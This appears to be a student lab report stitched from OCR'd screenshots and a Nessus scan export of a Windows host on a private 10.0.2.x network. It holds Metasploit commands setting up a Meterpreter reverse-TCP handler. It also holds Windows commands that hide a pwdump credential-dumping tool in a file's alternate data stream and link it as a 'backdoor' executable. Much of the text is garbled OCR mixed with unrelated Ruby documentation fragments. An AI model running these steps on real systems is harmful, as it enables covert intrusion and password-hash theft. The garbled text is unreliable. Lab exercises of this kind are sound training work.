constant HrrRbSsh::Transport :: ServerHostKeyAlgorit

of IDENTIFIER was here
constant HrrRbSsh::Transport :: ServerHostKeyAlgorit

of NAME was here
constant HrrRbSsh::Transport :: ServerHostKeyAlgorit

of PREFERENCE was here
constant HrrRbSsh::Transport :: ServerHostKeyAlgorit

of IDENTIFIER was here
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nsf6 > use multi/handler

[+] Using configured payload generic/shell_reverse_tcp
msf6 exploit(y « /ianilor) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

msf6 exploit(yit/handlor) > set LHOST 10.0.2.14
LHOST = 10.0.2.14

mSf6 exploit(niiti/handler) > set LPORT 4445

LPORT = 4445

msf6 exploit(niti/handlor) > exploit ~j -z

[+] Exploit running as background job 0.

[+] Exploit completed, but no session was created.
msf6 exploit(uil i /handler) >

[+] Started reverse TCP handler on 10.0.2.14:4445
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LESERE & Administrator: Command Prompt

09/11/2022 15:45  <DIR> Pictures
09/11/2022 15:45  <DIR> Saved Games
B oo/11/2022 45 <DIR> Searches
09/11/2022 15:45  <DIR> Videos
08/12/2022 16:20  <DIR> i
desktop.i @ File(s) @ bytes
17 Dir(s)  4,920,745,984 bytes free

\Users\Administrator>cd ..

”C‘\Usersnd .

Firefox
C:\>dir
Volume in drive C has no label

Volume Serial Number is 7AD7-2889
o Directory of C:\
%) Y

Google g6/01/2023 14:42  <DIR> hiddenfolder
Chromey5/11/2022 12:03  <DIR> inetpub
16/67/2616 13:23  <DIR> Perflogs
g 05/01/2023 09:52  <DIR> Program Files
19/12/2622 14:58  <DIR> Program Files (x86
M 22/11/2022 16:26  <DIR> SoLServer2617Hedia
desktopif22/11/2022  10:47  <DIR> Users
12/12/2622 11:19  <DIR> windous
@ File(s) @ bytes

8 Dir(s) 4,462,786,416 bytes free
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Windows Server 2016 Datacenter Evaluation
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Build 14393.rs1_release.161220-1747
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2\odir

Volume in drive C has no label.
Volume Serial Number is 7AD7-28B9

Directory

6/01/2023
5/11/2022
6/07/2016
6/01/2023
9/12/2022
2/11/2022
2/11/2022
2/12/2022

17 Dir(s)

\Users>cd ..

of i\

BEEESEER

"o File(s)

:\Users\Administrator>cd ..

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

8 Dir(s)

:\>cd hiddenfolder

:\hiddenfolder>notepad readme.txt

4,920,745,984 bytes free

hiddenfolder
inetpub
perflogs
Program Files
Program Files (x86)
SQLServer2017Media
Users
windous

© bytes

4,462,786,416 bytes free

:\hiddenfolderstype c:\hiddenfolder\pudump.exe > c:\hiddenfolder\readme.txt:pudump.exe

:\hiddenfolder>
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(C:\hiddenfolder>mklink backdoor_pudump.exe readme.txt:pudump.exe
symbolic link created for backdoor_pudump.exe <<===>> readme.txt:pudump.exe

C: \hiddenfolders,,

wdump

= pwdump.
readme.bt.

dump

4 Server 2016 (erver 2016 Compl.
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Plugin IDCVE CVSS v2.0 Base ScoreRisk Host Protocol Port Name Synopsis Description Solution See Also Plugin Output Risk Factor

57608 5Medium 10.0.2.15tcp 445SMB Signing not required Signing is not required on the remote SMB server.

Signing is not required on the remote 

SMB server. An unauthenticated,

remote attacker can exploit this to 

conduct man-in-the-middle attacks

against the SMB server.

Enforce message signing in the host's configuration. On Windows, 

this

is found in the policy setting 'Microsoft network server: Digitally

sign communications (always)'. On Samba, the setting is called 

'server

signing'. See the 'see also' links for further details.

http://www.nessus.org/u?df39b8b3

http://technet.microsoft.com/en-

us/library/cc731957.aspx

http://www.nessus.org/u?74b80723

https://www.samba.org/samba/docs/current/man-

html/smb.conf.5.html

http://www.nessus.org/u?a3cac4ea Medium

10092 None 10.0.2.15tcp 21FTP Server Detection An FTP server is listening on a remote port.

It is possible to obtain the banner of 

the remote FTP server by

connecting to a remote port. n/a



The remote FTP banner is :



220 Microsoft FTP Service




None

10114CVE-1999-0524 0None 10.0.2.15icmp 0ICMP Timestamp Request Remote Date Disclosure It is possible to determine the exact time set on the remote host.

The remote host answers to an ICMP 

timestamp request.  This allows an

attacker to know the date that is set 

on the targeted machine, which

may assist an unauthenticated, 

remote attacker in defeating time-

based

authentication protocols.



Timestamps returned from machines 

running Windows Vista / 7 / 2008 /

2008 R2 are deliberately incorrect, but 

usually within 1000 seconds of

the actual system time.

Filter out the ICMP timestamp requests (13), and the outgoing 

ICMP

timestamp replies (14).

The ICMP timestamps seem to be in little endian 

format (not in network format)

The remote clock is synchronized with the local 

clock.



None

10150 None 10.0.2.15udp 137Windows NetBIOS / SMB Remote Host Information Disclosure It was possible to obtain the network name of the remote host.

The remote host is listening on UDP 

port 137 or TCP port 445, and

replies to NetBIOS nbtscan or SMB 

requests.



Note that this plugin gathers 

information to be used in other 

plugins,

but does not itself generate a report. n/a

The following 3 NetBIOS names have been 

gathered :



 WINDOWS10        = Computer name

 WORKGROUP        = Workgroup / Domain name

 WINDOWS10        = File Server Service



The remote host has the following MAC address 

on its adapter :



   08:00:27:e4:8d:56 None

10287 None 10.0.2.15udp 0Traceroute Information It was possible to obtain traceroute information. Makes a traceroute to the remote host.n/a

For your information, here is the traceroute from 

10.0.2.9 to 10.0.2.15 : 

10.0.2.9

10.0.2.15



Hop Count: 1



None

10736 None 10.0.2.15tcp 135DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available 

locally :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 51a227ae-825b-41f2-b4a9-1ac9557a1018, 

version 1.0

Description : Unknown RPC service

Annotation : Ngc Pop Key Service

Type : Local RPC service

Named pipe : samss lpc



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 51a227ae-825b-41f2-b4a9-1ac9557a1018, 

version 1.0

Description : Unknown RPC service

Annotation : Ngc Pop Key Service

Type : Local RPC service

Named pipe : SidKey Local End Point



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 51a227ae-825b-41f2-b4a9-1ac9557a1018, 

version 1.0

Description : Unknown RPC service

Annotation : Ngc Pop Key Service None

10736 None 10.0.2.15tcp 445DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available 

remotely :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 7f1343fe-50a9-4927-a778-0c5859517bac, 

version 1.0

Description : Unknown RPC service

Annotation : DfsDs service

Type : Remote RPC service

Named pipe : \PIPE\wkssvc

Netbios name : \\WINDOWS10



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, 

version 1.0

Description : Scheduler Service

Windows process : svchost.exe

Type : Remote RPC service

Named pipe : \PIPE\atsvc

Netbios name : \\WINDOWS10



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, 

version 1.0 None

10736 None 10.0.2.15tcp 2103DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 2103 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, 

version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V1

Type : Remote RPC service

TCP Port : 2103

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, 

version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V2

Type : Remote RPC service

TCP Port : 2103

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000 None

10736 None 10.0.2.15tcp 2105DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 2105 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, 

version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V1

Type : Remote RPC service

TCP Port : 2105

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, 

version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V2

Type : Remote RPC service

TCP Port : 2105

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000 None

10736 None 10.0.2.15tcp 2107DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 2107 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, 

version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V1

Type : Remote RPC service

TCP Port : 2107

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, 

version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V2

Type : Remote RPC service

TCP Port : 2107

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000 None

10736 None 10.0.2.15tcp 49664DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 49664 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 51a227ae-825b-41f2-b4a9-1ac9557a1018, 

version 1.0

Description : Unknown RPC service

Annotation : Ngc Pop Key Service

Type : Remote RPC service

TCP Port : 49664

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 12345778-1234-abcd-ef00-0123456789ac, 

version 1.0

Description : Security Account Manager

Windows process : lsass.exe

Type : Remote RPC service

TCP Port : 49664

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, 

version 2.0 None

10736 None 10.0.2.15tcp 49665DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 49665 :



Object UUID : 765294ba-60bc-48b8-92e9-

89fd77769d91

UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, 

version 1.0

Description : Unknown RPC service

Type : Remote RPC service

TCP Port : 49665

IP : 10.0.2.15



None

10736 None 10.0.2.15tcp 49666DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 49666 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, 

version 1.0

Description : Unknown RPC service

Annotation : Event log TCPIP

Type : Remote RPC service

TCP Port : 49666

IP : 10.0.2.15



None

10736 None 10.0.2.15tcp 49667DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 49667 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 12345678-1234-abcd-ef00-0123456789ab, 

version 1.0

Description : IPsec Services (Windows XP & 2003)

Windows process : lsass.exe

Type : Remote RPC service

TCP Port : 49667

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, 

version 1.0

Description : Unknown RPC service

Type : Remote RPC service

TCP Port : 49667

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, 

version 1.0

Description : Unknown RPC service None

10736 None 10.0.2.15tcp 49668DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 49668 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 86d35949-83c9-4044-b424-db363231fd0c, 

version 1.0

Description : Unknown RPC service

Type : Remote RPC service

TCP Port : 49668

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 3a9ef155-691d-4449-8d05-09ad57031823, 

version 1.0

Description : Unknown RPC service

Type : Remote RPC service

TCP Port : 49668

IP : 10.0.2.15



None

10736 None 10.0.2.15tcp 49669DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 49669 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, 

version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V1

Type : Remote RPC service

TCP Port : 49669

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, 

version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V2

Type : Remote RPC service

TCP Port : 49669

IP : 10.0.2.15



Object UUID : 00000000-0000-0000-0000-

000000000000 None

10736 None 10.0.2.15tcp 49670DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 49670 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, 

version 1.0

Description : Unknown RPC service

Annotation : Remote Fw APIs

Type : Remote RPC service

TCP Port : 49670

IP : 10.0.2.15



None

10736 None 10.0.2.15tcp 49673DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the 

portmapper (TCP 135 or epmapper

PIPE) it was possible to enumerate 

the Distributed Computing

Environment (DCE) services running 

on the remote port. Using this

information it is possible to connect 

and bind to each service by

sending an RPC request to the remote 

port/pipe. n/a



The following DCERPC services are available on 

TCP port 49673 :



Object UUID : 00000000-0000-0000-0000-

000000000000

UUID : 367abb81-9844-35f1-ad32-98f038001003, 

version 2.0

Description : Service Control Manager

Windows process : svchost.exe

Type : Remote RPC service

TCP Port : 49673

IP : 10.0.2.15



None

10785 None 10.0.2.15tcp 445Microsoft Windows SMB NativeLanManager Remote System Information Disclosure

It was possible to obtain information about the remote 

operating

system.

Nessus was able to obtain the remote 

operating system name and version

(Windows and/or Samba) by sending 

an authentication request to port

139 or 445. Note that this plugin 

requires SMB to be enabled on the

host. n/a

Nessus was able to obtain the following 

information about the host, by 

parsing the SMB2 Protocol's NTLM SSP message:

	Target Name: WINDOWS10	NetBIOS Domain Name: WINDOWS10	NetBIOS Computer Name: WINDOWS10	DNS Domain Name: Windows10	DNS Computer Name: Windows10	DNS Tree Name: unknown	Product Version: 10.0.19041

None

11011 None 10.0.2.15tcp 139Microsoft Windows SMB Service Detection A file / print sharing service is listening on the remote host.

The remote service understands the 

CIFS (Common Internet File System)

or Server Message Block (SMB) 

protocol, used to provide shared 

access

to files, printers, etc between nodes 

on a network. n/a



An SMB server is running on this port.



None

11011 None 10.0.2.15tcp 445Microsoft Windows SMB Service Detection A file / print sharing service is listening on the remote host.

The remote service understands the 

CIFS (Common Internet File System)

or Server Message Block (SMB) 

protocol, used to provide shared 

access

to files, printers, etc between nodes 

on a network. n/a



A CIFS server is running on this port.



None

11153 None 10.0.2.15tcp 80Service Detection (HELP Request) The remote service could be identified.

It was possible to identify the remote 

service by its banner or by

looking at the error message it sends 

when it receives a 'HELP'

request. n/a A web server seems to be running on this port. None

11219 None 10.0.2.15tcp 21Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port 

scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive 

than TCP (full connect) scans

against broken services, but they 

might cause problems for less robust

firewalls and also leave unclosed 

connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 21/tcp was found to be open None

11219 None 10.0.2.15tcp 80Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port 

scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive 

than TCP (full connect) scans

against broken services, but they 

might cause problems for less robust

firewalls and also leave unclosed 

connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 80/tcp was found to be open None

11219 None 10.0.2.15tcp 135Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port 

scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive 

than TCP (full connect) scans

against broken services, but they 

might cause problems for less robust

firewalls and also leave unclosed 

connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 135/tcp was found to be open None

11219 None 10.0.2.15tcp 139Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port 

scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive 

than TCP (full connect) scans

against broken services, but they 

might cause problems for less robust

firewalls and also leave unclosed 

connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 139/tcp was found to be open None

11219 None 10.0.2.15tcp 445Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port 

scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive 

than TCP (full connect) scans

against broken services, but they 

might cause problems for less robust

firewalls and also leave unclosed 

connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 445/tcp was found to be open None

11219 None 10.0.2.15tcp 1801Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port 

scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive 

than TCP (full connect) scans

against broken services, but they 

might cause problems for less robust

firewalls and also leave unclosed 

connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 1801/tcp was found to be open None

11219 None 10.0.2.15tcp 2103Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port 

scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive 

than TCP (full connect) scans

against broken services, but they 

might cause problems for less robust

firewalls and also leave unclosed 

connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 2103/tcp was found to be open None

11219 None 10.0.2.15tcp 2105Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port 

scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive 

than TCP (full connect) scans

against broken services, but they 

might cause problems for less robust

firewalls and also leave unclosed 

connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 2105/tcp was found to be open None

11219 None 10.0.2.15tcp 2107Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port 

scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive 

than TCP (full connect) scans

against broken services, but they 

might cause problems for less robust

firewalls and also leave unclosed 

connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 2107/tcp was found to be open None

11936 None 10.0.2.15tcp 0OS Identification It is possible to guess the remote operating system.

Using a combination of remote probes 

(e.g., TCP/IP, SMB, HTTP, NTP,

SNMP, etc.), it is possible to guess the 

name of the remote operating

system in use. It is also possible 

sometimes to guess the version of

the operating system. n/a



Remote operating system : Microsoft Windows 10

Confidence level : 75

Method : HTTP



Not all fingerprints could give a match. If you 

think some or all of

the following could be used to identify the host's 

operating system,

please email them to os-signatures@nessus.org. 

Be sure to include a

brief description of the host itself, such as the 

actual operating

system or product / model names.



HTTP:Server: Microsoft-IIS/10.0




SinFP:!:

   P1:B11113:F0x12:W65392:O0204ffff:M1460:

   

P2:B11113:F0x12:W65535:O0204ffff0103030801010

402:M1460:

   P3:B00000:F0x00:W0:O0:M0

   P4:190400_7_p=21



 

The remote host is running Microsoft Windows 10None

12053 None 10.0.2.15tcp 0Host Fully Qualified Domain Name (FQDN) Resolution It was possible to resolve the name of the remote host.

Nessus was able to resolve the fully 

qualified domain name (FQDN) of

the remote host. n/a



10.0.2.15 resolves as Windows10.



None

19506 None 10.0.2.15tcp 0Nessus Scan Information This plugin displays information about the Nessus scan.

This plugin displays, for each tested 

host, information about the

scan itself :



  - The version of the plugin set.

  - The type of scanner (Nessus or 

Nessus Home).

  - The version of the Nessus Engine.

  - The port scanner(s) used.

  - The port range scanned.

  - The ping round trip time 

  - Whether credentialed or third-party 

patch management

    checks are possible.

  - Whether the display of superseded 

patches is enabled

  - The date of the scan.

  - The duration of the scan.

  - The number of hosts scanned in 

parallel.

  - The number of checks done in 

parallel. n/a

Information about this scan : 



Nessus version : 10.4.1

Nessus build : 20091

Plugin feed version : 202212290946

Scanner edition used : Nessus

Scanner OS : WINDOWS

Scanner distribution : win-x86-64

Scan type : Normal

Scan name : Scan

Scan policy used : Scan

Scanner IP : 10.0.2.9

Port scanner(s) : nessus_syn_scanner 

Port range : default

Ping RTT : Unavailable

Thorough tests : no

Experimental tests : no

Plugin debugging enabled : no

Paranoia level : 1

Report verbosity : 1

Safe checks : yes

Optimize the test : yes

Credentialed checks : no

Patch management checks : None

Display superseded patches : yes (supersedence 

plugin launched)

CGI scanning : disabled

Web application tests : disabled None

21745 None 10.0.2.15tcp 0OS Security Patch Assessment Failed Errors prevented OS Security Patch Assessment.

OS Security Patch Assessment is not 

available for this host because

either the credentials supplied in the 

scan policy did not allow

Nessus to log into it or some other 

problem occurred. Fix the problem(s) so that OS Security Patch Assessment is possible.



The following service errors were logged :



  - Plugin      : smb_login.nasl

    Plugin ID   : 10394

    Plugin Name : Microsoft Windows SMB Log In 

Possible

    Protocol    : SMB

    Message     : 

It was not possible to log into the remote host via 

smb (invalid credentials).



None

22964 None 10.0.2.15tcp 21Service Detection The remote service could be identified.

Nessus was able to identify the 

remote service by its banner or by

looking at the error message it sends 

when it receives an HTTP

request. n/a An FTP server is running on this port. None

35716 None 10.0.2.15tcp 0Ethernet Card Manufacturer Detection The manufacturer can be identified from the Ethernet OUI.

Each ethernet MAC address starts with 

a 24-bit Organizationally 

Unique Identifier (OUI). These OUIs 

are registered by IEEE. n/a

https://standards.ieee.org/faqs/regauth.html

http://www.nessus.org/u?794673b4



The following card manufacturers were identified 

:



08:00:27:E4:8D:56 : PCS Systemtechnik GmbH



None

45590 None 10.0.2.15tcp 0Common Platform Enumeration (CPE)

It was possible to enumerate CPE names that matched on the 

remote

system.

By using information obtained from a 

Nessus scan, this plugin reports

CPE (Common Platform Enumeration) 

matches for various hardware and

software products found on a host. 



Note that if an official CPE is not 

available for the product, this

plugin computes the best possible 

CPE based on the information

available from the scan. n/a

http://cpe.mitre.org/

https://nvd.nist.gov/products/cpe



The remote operating system matched the 

following CPE : 



  cpe:/o:microsoft:windows_10 -> Microsoft 

Windows 10 64-bit



Following application CPE matched on the remote 

system : 



  cpe:/a:microsoft:iis:10.0 -> Microsoft IIS



None

53513 None 10.0.2.15udp 5355Link-Local Multicast Name Resolution (LLMNR) Detection The remote device supports LLMNR.

The remote device answered to a Link-

local Multicast Name Resolution

(LLMNR) request.  This protocol 

provides a name lookup service 

similar

to NetBIOS or DNS.  It is enabled by 

default on modern Windows

versions.

Make sure that use of this software conforms to your 

organization's

acceptable use and security policies.

http://www.nessus.org/u?51eae65d

http://technet.microsoft.com/en-

us/library/bb878128.aspx



According to LLMNR, the name of the remote host 

is 'Windows10'.



None

54615 None 10.0.2.15tcp 0Device Type It is possible to guess the remote device type.

Based on the remote operating 

system, it is possible to determine

what the remote system type is (eg: a 

printer, router, general-purpose

computer, etc). n/a

Remote device type : general-purpose

Confidence level : 75



None

86420 None 10.0.2.15tcp 0Ethernet MAC Addresses

This plugin gathers MAC addresses from various sources and

consolidates them into a list.

This plugin gathers MAC addresses 

discovered from both remote probing

of the host (e.g. SNMP and Netbios) 

and from running local checks

(e.g. ifconfig). It then consolidates the 

MAC addresses into a single,

unique, and uniform list. n/a

The following is a consolidated list of detected 

MAC addresses:

  - 08:00:27:E4:8D:56



None

100871 None 10.0.2.15tcp 445Microsoft Windows SMB Versions Supported (remote check)

It was possible to obtain information about the version of SMB 

running

on the remote host.

Nessus was able to obtain the version 

of SMB running on the remote

host by sending an authentication 

request to port 139 or 445.



Note that this plugin is a remote check 

and does not work on agents. n/a



The remote host supports the following versions 

of SMB :

  SMBv2



None

104410 None 10.0.2.15tcp 445Target Credential Status by Authentication Protocol - Failure for Provided Credentials

Nessus was unable to log into the detected authentication 

protocol,

using the provided credentials, in order to perform credentialed 

checks.

Nessus failed to successfully 

authenticate directly to the remote

target on an available authentication 

protocol. Nessus was able to

connect to the remote port and 

identify that the service running on

the port supports an authentication 

protocol, but Nessus failed to

authenticate to the remote service 

using the provided credentials.



There may have been a failure in 

protocol negotiation or 

communication

that prevented authentication from 

being attempted or all of the

provided credentials for the 

authentication protocol may have 

been

invalid. A protocol failure may 

indicate a compatibility issue with

the protocol configuration. A protocol 

failure due to an environmental

issue such as resource or congestion 

issues may also prevent valid

credentials from being identified. See 

plugin output for error

details.

Address the reported problem(s) so that credentialed checks can 

be

executed.



Nessus was unable to log into the following host 

for which

credentials have been provided :



  Protocol        : SMB

  Port            : 445

  Failure details :



  - User : administrator



    - Plugin      : smb_login.nasl

      Plugin ID   : 10394

      Plugin Name : Microsoft Windows SMB Log In 

Possible

      Message     : SMB2 authentication : 

smb2_session_setup() failed.



    - Plugin      : smb_login.nasl

      Plugin ID   : 10394

      Plugin Name : Microsoft Windows SMB Log In 

Possible

      Message     : 

Initial SMB negotiation : 

smb_negotiate_protocol() failed.



None

106716 None 10.0.2.15tcp 445Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)

It was possible to obtain information about the dialects of SMB2 

and SMB3 available

on the remote host.

Nessus was able to obtain the set of 

SMB2 and SMB3 dialects running on 

the remote

host by sending an authentication 

request to port 139 or 445. n/a



The remote host supports the following SMB 

dialects :

	_version_  _introduced in windows version_	2.0.2      Windows 2008  	2.1        Windows 7     	3.0        Windows 8     	3.0.2      Windows 8.1   	3.1.1      Windows 10    

The remote host does NOT support the following 

SMB dialects :

	_version_  _introduced in windows version_	2.2.2      Windows 8 Beta	2.2.4      Windows 8 Beta	3.1        Windows 10    

None

135860 None 10.0.2.15tcp 445WMI Not Available WMI queries could not be made against the remote host.

WMI (Windows Management 

Instrumentation) is not available on 

the

remote host over DCOM. WMI queries 

are used to gather information

about the remote host, such as its 

current state, network interface

configuration, etc.



Without this information Nessus may 

not be able to identify installed

software or security vunerabilities 

that exist on the remote host. n/a https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-pageCan't connect to the 'root\CIMV2' WMI namespace.None


Microsoft_Excel_Worksheet.xlsx
Scan_1swor3 - win10

		Plugin ID		CVE		CVSS v2.0 Base Score		Risk		Host		Protocol		Port		Name		Synopsis		Description		Solution		See Also		Plugin Output		Risk Factor

		57608				5		Medium		10.0.2.15		tcp		445		SMB Signing not required		Signing is not required on the remote SMB server.		Signing is not required on the remote SMB server. An unauthenticated,
remote attacker can exploit this to conduct man-in-the-middle attacks
against the SMB server.		Enforce message signing in the host's configuration. On Windows, this
is found in the policy setting 'Microsoft network server: Digitally
sign communications (always)'. On Samba, the setting is called 'server
signing'. See the 'see also' links for further details.		http://www.nessus.org/u?df39b8b3
http://technet.microsoft.com/en-us/library/cc731957.aspx
http://www.nessus.org/u?74b80723
https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html
http://www.nessus.org/u?a3cac4ea				Medium

